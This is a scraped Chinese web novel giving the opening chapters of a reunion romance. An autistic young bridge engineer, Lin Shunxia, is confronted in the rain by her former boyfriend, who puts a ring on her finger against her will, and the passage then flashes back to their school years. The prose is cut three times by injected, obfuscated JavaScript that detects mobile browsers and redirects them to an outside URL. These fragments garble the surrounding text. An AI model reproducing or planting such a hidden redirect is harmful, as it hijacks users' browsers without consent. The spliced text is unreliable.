《瞬夏梦[破镜重圆]》 1. 第二个夏天 《瞬夏梦》 文/冷青燃 晋江文学城独家发表 // 在2026年的夏天正式像一场高烧一样降临之前,林瞬夏完成了社会化干预课上宏大的里程碑。 她成功找到了梦想中的工作。 随之而来的下一个问题,是如何去上班。 她所工作的设计院位于曼海市的西南方,如果从家里出发,开车需要四十分钟。 林瞬夏在高考毕业之后就考取了驾照,但是开车的次数不多,她并不擅长驾驶,如果需要自己驾车去设计院,她需要在5点钟出发。 ......因为5点的车流比较少,她能够应对。 爸爸妈妈不希望她太辛苦,所以在她入职前,就在设计院附近为她租了一套公寓。 公寓只有四十平米,地板有些旧,踩上去会发出轻微的声响。 不过距离设计院很近,只需要走出小区,过一条马路,再右拐走过一段铺着灰色地砖的人行道,就能看到大楼。 路线大多是直线,步行时长七分钟。林瞬夏很喜欢。 正式工作前的那个周六,爸爸妈妈陪她到了公寓。 还有很多行李没有拆包,妈妈在帮她挂新买的遮光窗帘,爸爸在厨房里擦拭抽油烟机。 林瞬夏站在客厅中央,盯着脚边打开的纸箱。 妈妈挂好窗帘,走过来问她:“瞬夏,这一箱书要放到哪里?” 林瞬夏看了一眼书架,指了指第二层,对妈妈说:“按封面颜色的深浅排列,最黑的在左边。” 妈妈愣了一下,好像想说什么,但最后还是说:“好。” 然后妈妈蹲下来,开始按照林瞬夏的要求一本一本拿书。林瞬夏没有动手帮忙,她站在旁边监督,看到妈妈把深蓝色的那一本放到了黑色的左边,就开口纠正:“错了。那是蓝色的。” 妈妈把书拿出来,重新放好,对她笑了笑:“对不起,妈妈没看清。” 林瞬夏点点头,说:“没关系。” 收拾完东西,时间来到了一点四十五分。 林瞬夏背上包,对坐在沙发上休息的爸爸妈妈说:“要出门了。” 这是林瞬夏从幼年时代开始就雷打不动的周末项目:去公园。 只要天晴,林瞬夏就要去公园,接受充分的日晒,呼吸新鲜空气。 夏季的午后,非常炎热,阳光也很刺眼,出门之前,林瞬夏戴上了墨镜和帽子。 热浪扑面而来,空气里的湿度也许超过了百分之八十,变得很重,像被谁迎面泼了一盆黏稠的温水。 林瞬夏感觉到裸露在外的皮肤迅速变得黏腻,这让她走路的速度比平时快了零点五倍。 爸爸妈妈带她去了距离公寓只有六百米的滨河公园。 公园里的人很少,因为现在的室外温度并不适合人类活动。只有蝉在不知疲倦地发出高频的噪音。 林瞬夏甚至不愿意走到公园的深处。 她在入口处不远的地方,找到了一棵巨大的香樟树。树冠很浓密,投射下来的一片不规则的阴影,是这片被暴晒的土地上唯一的安全区。 林瞬夏迅速地躲了进去。 阴影里的温度大概比外面低了三度。 她站在树根旁边,低头看了一会儿,发现在这棵树隆起的树根夹缝里,长着几颗很小的蘑菇。 蘑菇是灰白色的,伞盖还没有完全张开,只有指甲盖那么大。它们安静地挤在深绿色的苔藓中间,看起来有些潮湿,还有点脆弱。 但它们很惬意,不用向着太阳生长,也不用开口说话。 林瞬夏盯着那几颗真菌看了很久。 她常常觉得自己也有点像一颗长得太大的蘑菇。 不想移动,不想说话,只想长在树荫里,靠吸收空气里过剩的水分维持生命。 林瞬夏卸下了背包。 她拿出了一块银色的野餐垫,动作熟练地铺在没有蘑菇的那一侧地面上,把四个角都抚平。 然后,她抱着膝盖坐了下来。 从背包里拿出一本很厚的《桥梁结构动力学》,翻到了上次折角的那一页。 世界只剩下书页翻动的声音,和远处蝉的鸣叫。 四点三十,她准时合上书。 林瞬夏把野餐垫折叠好,放回包里,站起身,拍了拍裤子上的褶皱,然后走出树荫,顶着已经稍微没那么刺眼的太阳,走向了公园另一头的凉亭,去叫正在那里吹风扇聊天的爸爸妈妈离开。 回家路过便利店时,她停下了脚步,走进去,径直走到冰柜前,拿了一盒特定品牌的曲奇香奶口味冰淇淋。 这是她在高三毕业后的那个暑假养成的习惯。 无论春夏秋冬,每次离开公园之后,林瞬夏都需要吃这一盒冰淇淋。 有一年冬天,因为肠胃炎发作挂了急诊,妈妈曾经尝试温和地阻止她,说:“瞬夏,天太冷了,我们就不要吃冰的好不好?肚子会痛的。” 下一个周末,林瞬夏没有吃到冰淇淋。 那天晚上,她坐在房间的地板上,开始不受控制地自言自语。她听见耳边有很大的雨声,还有人在叫她的名字,就像那个夏天一样。 她看着没有人的墙角,说了很久的话。 后来妈妈哭着下楼给她买了冰淇淋。 从那以后,只要不是生病到无法进食,妈妈都选择了纵容。 林瞬夏拿着冰淇淋,坐在便利点落地窗前的高脚椅上。 她拆开包装,慢慢地吃冰激凌。 爸爸妈妈坐在一边等他。 在这时候,林瞬夏想起了一段可能不算很远记忆。 男生穿着黑色连帽卫衣,插着兜站在她面前,挑了挑眉,姿态随意地靠在椅子上,凑近了林瞬夏的脸。 “怎么还在吃这个口味,”他看着她手里的冰淇淋,嘴角挂着那种令林瞬夏讨厌的笑,对她说,“给我吃一口。” 林瞬夏那时候没有分给他。 回忆很快结束了,她张开嘴,咬了一口冰淇凌。 甜味顺着喉咙下去,曲奇的分布是随机的,但是和牛奶口味的冰淇凌混合起来,味道是稳定的,让她觉得很安全。 吃完了冰激凌,林瞬夏和爸爸妈妈一起回到公寓,爸爸把加热过的金枪鱼饭团递给她。 她坐在新餐桌前,安静地吃完了饭团,作为晚饭。 吃完后,林瞬夏把包装纸折成整齐的小方块,扔进垃圾桶,然后抬头看着爸爸妈妈,说:“我要休息了。” 爸爸妈妈似乎有些不舍,站在门口叮嘱了她很多关于用电和锁门的事。 妈妈还特别强调:“瞬夏,你是女孩子,一个人住要注意安全。不能随便和男孩子一起走,更绝对不能带陌生的男生回家。” 林瞬夏盯着地面,认真地听着,记住了一些细节。 在爸爸妈妈说完之后,她点了点头,说:“我知道了。” 妈妈拥抱了林瞬夏,她倒数了三秒,然后妈妈送开了她,亲了亲她的脸颊,对她说:“瞬夏,再见。” 林瞬夏已经能够适应这种程度的亲近。 她调整面部肌肉,对妈妈露出一个干预课上学过的标准微笑,嘴角上扬十五度,平稳地说:“妈妈再见,爸爸再见,我爱你们。” 他们才终于离开了。 林瞬夏把门反锁,房间里变得很安静。 她在书桌前坐下来,打开电脑,新建了一个文档,记录今天的日程。 她把搬家,整理书架,找到公园和吃冰激凌的事都写进去了。 林瞬夏每天都要写日记,因为每个月第二个周日,她都要和干预师见面,汇报自己身边发生的,特别的事情。 并且,干预师说,写日记有利于她建立对时间的感知,以及理解事件与事件的关联。 林瞬夏想了想,又加上一句:“明天要去上班。” 打完字,她关闭了文档,然后看向窗外。 天黑了,外面好像又要下雨了,夏天真是一段令人讨厌的时间。 林瞬夏看了一会儿窗外的雨,在并不规律的雨声干扰到她的情绪之前,戴上了降噪耳机。 她点开了自己最喜欢的《过山车大亨3》。 屏幕亮了起来,光线映在她没有表情的脸上。 林瞬夏读取了存档,进入了那个属于她的游乐园。 这是一个处于沙盒模式的存档,资金无限,且没有经营目标。 游乐园的大门显示为“关闭”状态,在这个世界里,暂时还没有任何一个游客被允许进入。 宽阔的、铺着沥青路面的主干道上空空荡荡,没有乱跑的小孩,没有穿着玩偶服的工作人员,也没有令人焦虑的呕吐物。 林瞬夏很满意,她移动鼠标,把视角拉到了地图的中心,开始搭建一座新的悬挂式过山车。 她花了二十分钟调整轨道的支撑立柱,试图让这段螺旋上升的白色钢轨在力学结构上看起来更加对称、合理。 搭建完轨道后,林瞬夏点开了公共设施列表,选中了最普通的、红色的圆形垃圾桶。 她沿着笔直的道路,开始安放它们。 鼠标发出规律的“咔哒”声。 林瞬夏在每一个路灯的旁边,都紧挨着放了一个垃圾桶。路灯与路灯之间的空隙里,她又加放了两个。 红色的圆点密密麻麻地排列在路的两侧,像两排守卫的士兵。 这种密度在普通 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496431|202526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人看来是不仅多余,甚至有些怪异的。 但林瞬夏觉得很有必要。 如果每隔两米就有一个垃圾桶,那在扔垃圾的时候,只需要抬起手就能扔进去,完全不需要走任何多余的路。 也不需要跨过几条街去找扔冰激凌包装纸的地方了。 晚上十点,林瞬夏准时关闭了电脑,结束了游戏时间,去浴室清理了自己。 十点三十分,她平躺在床上,把床头的企鹅玩偶放在自己的身边,把被子拉到锁骨的位置,双手交叠放在腹部,闭上眼睛,进入了睡眠。 上班比上学容易。 这是林瞬夏入职三天后的结论。 她在省属数智交通设计院工作,职位是桥梁工程师。 在学校里,教授会随时更改小组讨论的时间,同学会在任何一个课间突然转过头来,问她一些毫无逻辑的私人问题。 但在设计院,桥梁不会说话。 数据是固定的,规范是确定的,受力分析的结果只有“通过”和“不通过”两种状态,不存在“大概”或者“看心情”。 确定性让林瞬夏感到了一种前所未有的安宁。 在入职的第三天,她就完全掌握了这里的时间运行规律。 周三下午五点半,下班回到家之后,林瞬夏没有立刻去洗手。她拿出在楼下文具店购买的四色便利贴,在卧室白色的墙壁上,贴出了一张巨大的时间表。 蓝色代表工作时间,早上八点三十到下午五点三十。 黄色代表通勤与进食,是必须的损耗。 剩下的绿色,是属于她自己的时间,包括去公园和游戏,以及乐高时间。 她退后两步,看着墙面上色块分明的矩形阵列,觉得这份工作和她梦想中的一模一样。 然而,平静的生活并没有持续很久。 周五下午五点三十,林瞬夏准时关闭电脑,离开了工位。 走到楼下大厅时,外面下起了暴雨。 夏天的雷阵雨总是来得很急,雨水砸在沥青路面上的声音非常嘈杂,像无数颗玻璃珠同时落在地上。 林瞬夏的包里有一把折叠伞,是妈妈放在侧袋里的。 但林瞬夏没有拿出来。 她很不适应撑伞。 撑伞需要一直举着手臂,需要时刻计算伞面边缘与周围行人的距离,还需要分出一部分精力去握紧伞柄。这对林瞬夏来说是一项复杂且多余的肢体任务。 而且她经常会忘记自己正在撑伞。 就像大脑会自动屏蔽眼镜框的存在一样,林瞬夏的大脑也会屏蔽手中的伞。她经常会在走进室内时忘记收伞,或者走着走着就松开了手,任由伞掉在地上。 与其处理这种复杂的工具交互,不如淋雨。 林瞬夏推开大门,走进了雨幕里。 雨水并不温柔,它们很重,打在脸上甚至有轻微的痛感。 不到十秒钟,她的头发就湿透了,一缕一缕地贴在额头上。水珠顺着眉骨流进眼睛里,她不得不频繁地眨眼,视野变得模糊且晃动。 远处的红绿灯被雨水晕开了,变成流淌在柏油路面上的红斑与绿斑,像未干的水彩,毫无边界地蔓延。林瞬夏感觉自己是一座孤岛,正在被这漫无边际的潮汐吞没。 她走到那个需要右拐的路口,停在了斑马线前。 红灯还有五十八秒。 林瞬夏低着头,看着积水的路面,感觉衣服吸饱了水,沉重地坠在身上。 突然,雨停了。 准确地说,是落在林瞬夏头顶的雨停了。周围嘈杂的雨声还在继续,但并没有水珠再砸在她的身上。 一把黑色的长柄伞遮过了她的头顶。 伞面很大,将光线遮挡了一半,在这个暴雨的黄昏里,制造出了一个狭窄、干燥、且安静的黑色空间。 林瞬夏有些迟钝地抬起头。 她看到了一只骨节分明的手,握着黑色的伞柄,手背上有淡青色的血管。 身边的人靠得很近,但他身上没有那种令林瞬夏不适的、潮湿的陌生人气味。 相反,他身上有一种很干燥的味道,混合着很淡的薄荷味。 ......很熟悉。 那个男人弯下腰,视线与林瞬夏平齐。 他伸出手,手指并不温柔,称得上有些用力地捏住了林瞬夏湿漉漉的脸颊。 指腹是热的,摩擦着林瞬夏的皮肤。 林瞬夏被迫仰起脸,在那一瞬间,她好像失去了对身体的控制权,只能呆呆地任由对方捏着。 男人的声音很低,透过雨声传过来,显得有些闷。 “我不在,”他看着林瞬夏的眼睛,毫不生分地问她,“你就淋雨吗?” 2. 讨厌讨厌你 林瞬夏呆呆地看着面前的人。 并没有穿林瞬夏熟悉的、柔软的黑色卫衣或者运动服,还有球鞋。 他穿着一身剪裁非常利落的深灰色西装,领带打得很规整。 头发也不再是会被风吹乱的、摸起来很柔软的样子,而是理得很整齐,甚至可能用了定型喷雾,每一根发丝都固定在它应该在的位置上。 还有他的脸。 比林瞬夏记忆中成熟很多,仍然很俊美,不过轮廓的线条锐利了许多,脸颊的软组织更少了,眉目上扬,眼眶深陷,鼻梁挺直,双眼皮很深。 他看起来比记忆中还要高。 伞面压得很低,他低着头,长睫敛下,遮住了一部分瞳孔,正沉沉地看着林瞬夏。 林瞬夏看不懂他的眼神,不像是在生气,也不像是在笑。 但是让她感觉到自己的胃部像是被人拧紧了,发出抽搐的信号。手指开始不受控制地想要抓挠衣角,呼吸也变得紊乱。 可能是因为她一直没有说话,对方叫了她的名字:“林瞬夏。” 林瞬夏张了张嘴,喉咙里发出一声短促的“啊”。 大脑在混乱中检索到了遇见熟人的社交应对方案,于是她僵硬地盯着对方的领带结,有些含混不清地说: “你......你好。” 就在这时,马路对面的红色人形图案变成了绿色的行走图案。 倒计时开始跳动:29,28...... 林瞬夏想走过去,快点回家。 但在她迈出脚步的瞬间,手腕被人抓住了。 傅竞野的手劲很大,干燥的掌心贴着她脉搏跳动的地方,问她:“为什么要走?” 雨声很大,把他们围困在伞下。 傅竞野看着她回避的眼睛,没有松手,又低声问了一遍:“林瞬夏,你还认识我吗?” 林瞬夏看着绿灯倒数到了15,嘴唇动了动,无意识地重复了对方的问题: “你还认识我吗?” 傅竞野没有不耐烦,仍然耐心地看着她,等着她的回答。 然后林瞬夏垂下眼睛,看着落在地上的雨点,很慢地点了一下头。 “嗯......”她诚实地说,“认识的。” 傅竞野矮下身,又强行出现在林瞬夏的视线里,追问她:“是急着回家玩你的过山车游戏,还是乐高,才不想和我说话?” 问题一个接一个,林瞬夏觉得很累。 她只是看着傅竞野的领带夹,摇了摇头,随后从鼻腔里发出了一个很轻的、代表否定的单音。 傅竞野终于松开了禁锢她手腕的力道。 但他没有退开,而是抬起手,用带着薄茧的指腹碰了碰她的侧脸。 “你换手机号了。”这是陈述句。 林瞬夏确实换了。 这是大学入学前,爸爸妈妈提出的要求。林瞬夏觉得换号码只是一项行政手续,所以执行了。 她“嗯”了一声,作为确认。 “手机给我。”傅竞野向她摊开手掌。 没有商量的余地。 现在他的语气,终于变成了林瞬夏熟悉的那一种——有点理所当然的命令语气。 这种时候,林瞬夏如果不乖乖听话的话,傅竞野就会采取更激进的手段,制造出更大的、林瞬夏无法处理的混乱。 林瞬夏有点害怕那种感觉,乖乖从口袋里拿出手机。 傅竞野顺畅地解开了她的手机密码,林瞬夏的手机密码仍然是“142857”。 这是1/7的循环节,是走马灯数,是世界上最神奇的一组数字。 从很久以前开始,它就是林瞬夏最喜欢的数字,因为它具有循环往复的、稳定的美感。 傅竞野在拨号界面输入了一串号码,拨通,看着自己口袋里的手机震动后,才挂断。 他把手机重新递给林瞬夏,说:“这是我的号码。” 林瞬夏低下头,看着屏幕上那串数字。 并不需要刻意记忆,这串数字就像某条物理公式一样,一直储存在她的大脑皮层里。 “我记得的。”林瞬夏说。 傅竞野的动作顿了一下,随后语速很快地问:“记得为什么不给我打电话?” 林瞬夏不懂,明明是傅竞野自己不告而别的,为什么要怪她? 还有,没有规定说谈恋爱就要打电话。 最重要的是,她讨厌讨厌他。 林瞬夏想要说“因为我讨厌你”。 但是,她记得,半个月前,在社交干预强化课上,温柔的李老师曾经反复强调过一条规则: “瞬夏,作为成年人,我们不能当面对别人说讨厌,这是非常不礼貌的行为,会伤害到别人的感情,也会让爸爸妈妈难过。” 林瞬夏是一个遵守规则的好学生。 于是她只能沉默地站在雨里,盯着地面,什么都说不出来。 傅竞野看着她紧闭的嘴唇,等了半天。 直到马路对面的红灯再次变绿,发出“滴、滴、滴”的通行提示音。 傅竞野收回了视线,好像没什么办法地说:“算了。” 他没有撑伞的手伸进口袋里,拿出了一个非常闪亮的金属圈。 即便是昏暗的雨夜,戒指上的石头的无数个切面依然疯狂地折射着路灯的冷光,亮得刺眼,像是一颗被强行捕获的高亮恒星,突兀地悬停在林瞬夏的眼前。 林瞬夏呆在原地,看着他的动作。 然后傅竞野抓起林瞬夏的左手,不由分说地把金属圈套进她的无名指,又用那种林瞬夏很熟悉的语气对她说: “和我结婚。” 林瞬夏呆住了。 结婚? 在林瞬夏的认知里,结婚是一个极其复杂的法律概念。 它意味着两个自然人签署一份财产共有的民事契约,意味着原本属于她一个人的四十平米空间将被入侵,意味着她必须和一个碳基生物共享她的牙膏、她的氧气、甚至她那张完美的四色日程表。 就算是傅竞野这个能和她共享野餐垫的人......也还不行。 她被吓到了,想抽回手,却挣脱不开。 傅竞野低头看着她的手指,似乎很满意,又抬头看向她。 林瞬夏的眼睛一下子就红了。 她感到委屈和愤怒,脸颊鼓了起来,像一只被逼到角落的小动物,表情看起来非常倔强。 林瞬夏抬起腿,用穿着帆布鞋的脚,重重地踹了傅竞野的小腿一脚。 “你滚开。”她带着鼻音说。 这一脚并不轻。 傅竞野那条剪裁昂贵的深灰色西装裤上,立刻多了一个灰扑扑、湿漉漉的鞋印,显得非常突兀。 不过他没有生气。 傅竞野低头看了一眼那个脏兮兮的脚印,然后很短促地笑了一下,弧度带着几分过去的散漫。 “这么凶。” 他说着,又伸出手,掐了一把林瞬夏鼓起来的脸颊,把那团软肉掐得陷了下去。 “住在哪里?”傅竞野问她,“我送你回去。” 林瞬夏捂着被掐痛的脸,警惕地后退了一步,左手无名指上的钻石沉甸甸地坠着手心。 “不要。”她拒绝得很干脆。 “妈妈说不能和男生一起走。”林瞬夏很认真地搬出了她的规则条款,试图以此击退对方。 说完,她转身,沿着人行道,一个人往家的方向走去。 雨还在下,林瞬夏依然没有撑伞。 但雨水并没有淋到她身上。 傅竞野就跟在她身后半步的距离。 他腿长步子大,却刻意放慢了速度,配合着林瞬夏的步伐,手里的黑伞向前倾斜,完全遮住了林瞬夏的头顶,而他自己的半个肩膀却露在雨幕里,深色的西装布料很快就被淋成了黑色。 两个人一前一后,保持着一种微妙的、沉默的距离。 路过便利店时,林瞬夏停下来进去买了一个金枪鱼饭团。傅竞野没有进去,他站在门口的屋檐下,看着她在货架前挑选。 最后,林瞬夏走到了公寓楼下。 她刷卡,拉开单元门,走进了大厅。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496432|202526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 隔着厚重的玻璃门,林瞬夏回头看了一眼。 傅竞野站在雨里。 他没有要强行进来的意思,只是站在单元门外,裤腿上灰色的脚印依然清晰可见。 看着林瞬夏走进电梯,看着电梯门缓缓合上,那一串红色的数字开始向上跳动,直到数字停在某个楼层不再变化,他才转身走进雨幕中。 林瞬夏到了8楼,用钥匙打开了802室的门。 进门后的第一件事,是洗手。 涂抹泡沫时,无名指根的戒指存在感鲜明。 林瞬夏皱着眉,关掉了水龙头,试图把戒指摘下来。 她用右手捏住沉重的钻戒,往外拔,但是金属圈像是长在了她的手指上一样,卡在指关节的地方,纹丝不动。 林瞬夏加大了力气。 皮肤被摩擦得泛红,指节传来钝痛,洗手液让接触面变得滑腻,但戒指仍然严丝合缝地嵌在哪里,拒绝离开。 就像傅竞野,一旦入侵,就很难被移除。 林瞬夏尝试了三次,直到无名指开始充血肿胀,她才停下这种徒劳的尝试。 手指有点疼。 林瞬夏有些沮丧地冲掉了手上的泡沫,擦干手,换掉了身上湿透的衣服,把头发吹干,然后走到餐桌前坐下。 她拆开金枪鱼饭团的包装。 左手拿起饭团的时候,巨大的钻石因为重力的作用,甚至让她的手腕产生了一丝不习惯的下坠感。 林瞬夏咀嚼着米饭和金枪鱼内馅,试图用吞咽的动作来让自己忽略戒指的存在。 七点整,放在桌角的手机震动了起来。 是妈妈打来的视频电话。 这是每日固定的检查环节。 林瞬夏放下饭团,把左手藏到了餐桌下面,放在膝盖上,用右手接通了电话。 屏幕里出现了妈妈温和的脸,背景是家里的客厅。 “瞬夏,吃晚饭了吗?”妈妈问。 “正在吃。”林瞬夏看着屏幕里妈妈的下巴,回答道,“金枪鱼饭团。” “今天下雨了,淋湿了吗?” “有一点。” “有没有记得把湿衣服换下来?头发吹干了吗?” “换了。吹干了。” 一切都很正常,林瞬夏是一个让父母省心的孩子。 “今天......有没有遇到什么特别的事?”妈妈似乎犹豫了一下,还是例行公事地问了一句。 林瞬夏的左手在桌下无意识地抠着那枚戒指冷硬的边缘。 特别的事。 遇到了傅竞野。被强行戴上了戒指。被求婚了。 这些都是巨大的、足以让这个视频电话延长三个小时、引发父母焦虑、甚至导致他们连夜开车过来的特别事项。 林瞬夏需要在一片混乱中解释无数个“为什么”。 如果说出来,今晚的日程表就会彻底崩塌。她可能无法在七点半准时玩游戏,也无法在十点半睡觉。 但这事实上并不是林瞬夏选择隐瞒的根本原因。 林瞬夏看着屏幕,大脑里闪过傅竞野站在雨里的样子,还有他裤脚上那个灰色的鞋印。 那些画面是私有的。 就像她小时候藏在枕头底下的糖纸,或者是还没有连通的桥墩。 “没有。”林瞬夏面无表情地摇了摇头,对妈妈说,“什么都没有发生。” 流程继续推进。爸爸妈妈和她互相说了“我爱你”之后,视频电话挂断了。 屏幕黑了下去。 林瞬夏重新把左手放到了桌面上。 她站起来,走进房间,打开电脑,创建了一个新文档。 [工作一切正常。 见到了傅竞野。他要我结婚。被戴了戒指。摘不下来。 有点莫名其妙。 注:关于莫名其妙,可以参考2019年6月10日。] 林瞬夏盯着屏幕上的“2019年6月10日”看了一会儿。 然后,她才按下保存键,戴上耳机,点开了她的游乐园,开始玩游戏。 3. 你的影子里 林瞬夏花了大约四十分钟搭建过山车。 但是傅竞野那张脸总是跳出来,连带着许多回忆,干扰了她的思路,导致她把两棵橡树种重叠了,不仅违反了植物生长规律,还穿模了。 她有些生气地保存了存档,退出游戏,在电脑里翻找以前的记录。 在名为“日记”的文件夹里,她找到了“2019年”,点开,又找到了“6月”,找到了标题为“20190619”的文档,点开了。 里面的内容很简单,林瞬夏其实记得很清楚。 [高考结束,回学校拿东西。 在楼梯口遇到了傅竞野。 他拦住我,问我要不要谈恋爱。 非常莫名其妙。 但是天气太热了,有三十六度,蝉很吵,我又背着很重的书。 他站在那里不肯动,所以我答应了。 注1:其实应该拒绝的。 但他看起来好像要是被拒绝了,就会在这个楼梯口站很久。 注2:谈恋爱的定义是两个人达成比朋友更高的关系。 下一步要结婚。] 今年是2026年。 林瞬夏非常迅速地计算出,这已经是七年之前的事情了。 应该能被称为“很久以前”。 关于很久以前的这一天,林瞬夏认为,它是一体两面的。 首先,林瞬夏会说,这是一场史无前例的地震,彻底地改变了她的生活,让她养成了很多的新习惯,在往后的人生中花了很长时间都无法戒除或者改变。 但同时,再给林瞬夏一次机会,她仍然会希望这场地震发生。 在进入大学之前的9月1日,爸爸妈妈曾经打开过这个文档,问林瞬夏,为什么用“莫名其妙”这个词。 林瞬夏是在一次干预课的阅读中学会这个词的,代表着没有前置条件就提出的要求。 她把这个意思告诉了妈妈。 妈妈听完以后露出一个像笑的表情,抬起手,用手里的餐巾纸擦了擦眼角,才继续温柔地问林瞬夏:“瞬夏,既然莫名其妙,你为什么答应了?就因为想要快点回家吗?” “......不是的。”林瞬夏思考了一下,很认真地告诉妈妈,“第一,因为他看起来有点凶,还很高,堵住了所有路,我走不开。” 妈妈没有再继续问问题,一直在用餐巾纸擦眼角,擦了一会儿,就低下了头。 再提问的是爸爸,他问林瞬夏:“所以你答应,是因为不敢拒绝吗?” 林瞬夏皱起眉,有点不高兴地看向爸爸:“我还没有说第二点。” 爸爸立刻道歉:“好,那第二点是什么?” 林瞬夏觉得叙述第二点非常困难,她坐在椅子上,很认真地思考了五分钟,看着妈妈又抽了三张餐巾纸擦眼睛之后,才开口说道:“因为他很香,也很凉快。” “我想在他的影子里多待一会儿。” 爸爸没有听懂,问她:“为什么这样说。” 果然不能让爸爸听懂。 林瞬夏皱了皱眉,只好从2019年4月18日说起。 这是傅竞野第一次出现在林瞬夏的日记中的日子。 她打开电脑上“20190418”的文档,看着里面的内容,开始一条一条地给爸爸讲。 高三的4月18日,是曼海中学的春游日,也是林瞬夏的人生最后一次春游。 地点,在曼海市最大的游乐园。 林瞬夏非常喜欢游乐园,她为这次春游制定了详细的计划。 她提前了三天开始准备,研究了游乐园的官网,地图,以及项目列表,观看了一些第一视角游玩视频,根据大数据记录,制定了一条最完美的动线,确保自己能游玩最多的项目。 爸爸妈妈也非常重视这次春游,和林瞬夏一起模拟了春游的流程,描述了可能的情景和应对方案,提醒了林瞬夏,她忽略了午餐的规划。 同时,爸爸妈妈还在林瞬夏的手机里设定了每小时一次的提醒,提示她喝水以及休息。 当天早上出发之前,妈妈陪着林瞬夏往书包里放了帽子,墨镜、降噪耳机等她出门需要的东西,然后再次叮嘱了林瞬夏,如果遇到不能解决的事情,就给老师打电话。 林瞬夏说了好,然后爸爸开车送林瞬夏去了学校。 去了学校之后,七点五十三分,学校的大巴开动了。 林瞬夏一个人坐在第一排,戴着降噪耳机,闭着眼睛,大概三十分钟的车程之后,他们到达了游乐园。 上午十点之前的动线,都是完整且顺利的。 林瞬夏先去玩了位于园区左侧的“星际旋转木马”,她在木马上坐了三分钟,感受离心力带来的轻微眩晕。接着,她去了4D影院,观看了《深海探险》,因为那是全封闭的场馆,且每个座位之间都有固定的扶手隔断,让她感到安全。 但在十点十五分,她来到了此行最重要的目标——“银河超特急”过山车面前。 这里的情况和她在官网上看到的不一样。 没有整齐的、空旷的排队栏杆。 那里只有人。 数不清的、挤在一起的、发出各种声音的人。 虽然戴着降噪耳机,但高分贝的尖叫声还是能够穿透物理屏障,像尖锐的电流一样刺进耳膜。 而且空气的味道变了。 游乐园原本应该有的爆米花和焦糖味消失了,林瞬夏闻到经过暴晒的防晒霜味、衣物纤维受热的味道,还有陌生人身上黏腻的汗味。 林瞬夏想要后退。 但是后面也来了很多人,大家都在往前挤,没有人给她留出转身的空间。 她的左手臂被一个背着大包的游客撞了一下,右边的肩膀被不知道谁的手肘顶住。 林瞬夏感觉自己的呼吸通道被切断了。 她站在原地,甚至忘记了还要往前走,全身的肌肉都在这一瞬间绷紧,完全没有办法动弹。 就在这个时候,背包里的手机震动了起来。 “滴——滴——滴——” 这是爸爸妈妈给她设定的“喝水提醒”。 声音很大,顺着脊椎骨传导上来。 林瞬夏低下头,视线变得狭窄且摇晃。她试图把手伸向背 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17496433|202526||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 包的侧袋,想要拿出水杯。 但是她的手指好像坏掉了。 指关节变得非常僵硬,不听使唤,怎么也抓不住那个光滑的圆柱体。 闹钟还在响。 “滴——滴——滴——” 周围的人在说话,在抱怨,在推挤。 “前面的走不走啊?” “别挤了!” 林瞬夏越来越着急。 她必须关掉闹钟,必须喝水。如果不完成这一步,后面的所有计划都会出错。 她用颤抖的手,费了很大的力气,终于把水杯从侧袋里拔了出来。 但就在拿出来的瞬间,后面的人又撞了她一下。 林瞬夏的手一滑。 沉重的水杯脱离了她的控制,重重地砸在了水泥地上,发出“哐”的一声巨响,然后顺着地面的坡度,咕噜噜地向前滚去。 林瞬夏呆呆地站在那里,看着那个贴着她名字标签的粉色水杯,穿过无数双陌生的鞋子,越滚越远,最后消失在了一片混乱的腿林里。 她的水杯没有了,而闹钟还在书包里持续地响着。 林瞬夏觉得天旋地转,她想要蹲下来,想要捂住耳朵尖叫,但是这里太挤了,她连蹲下都做不到。 她只能僵硬地站在那里。 就在林瞬夏以为自己会因为噪音而爆炸的时候,一只手突然伸了过来。 骨节分明,很有力,并没有经过林瞬夏的允许,就直接拉开了她背包的拉链。 林瞬夏吓了一跳,想要躲开,但是后面的人堵住了她。 那只手很快地伸进了包里,在一堆杂物中精准地按掉了那个正在尖叫的手机。 “滴——” 世界安静了。 紧接着,林瞬夏感觉自己的后衣领被人拎住了。 对方并没有用很大的力气,就像拎一只猫一样,把她从那堆黏腻的、散发着汗味的人群里提了出来。 拥挤消失了。 林瞬夏踉跄了两步,被人带到了过山车入口旁边的一块阴影里。 这里有一棵巨大的樟树,挡住了太阳。 更重要的是,把她拎出来的人,挡在了她和人群中间,让林瞬夏站在他的影子里。 他很高,肩膀很宽,穿了一件黑色的运动服,拉链拉到最顶上。 林瞬夏闻不到防晒霜的味道了。 因为这个人的身上有一种很干净的、像是某种很贵的洗衣液留下的味道,还有一点点薄荷的凉意。 让她想吐的热度降下去了。 林瞬夏吸了吸鼻子,有些迟钝地抬起头。 她看到了一张眉头紧锁的、看起来很不耐烦的脸。 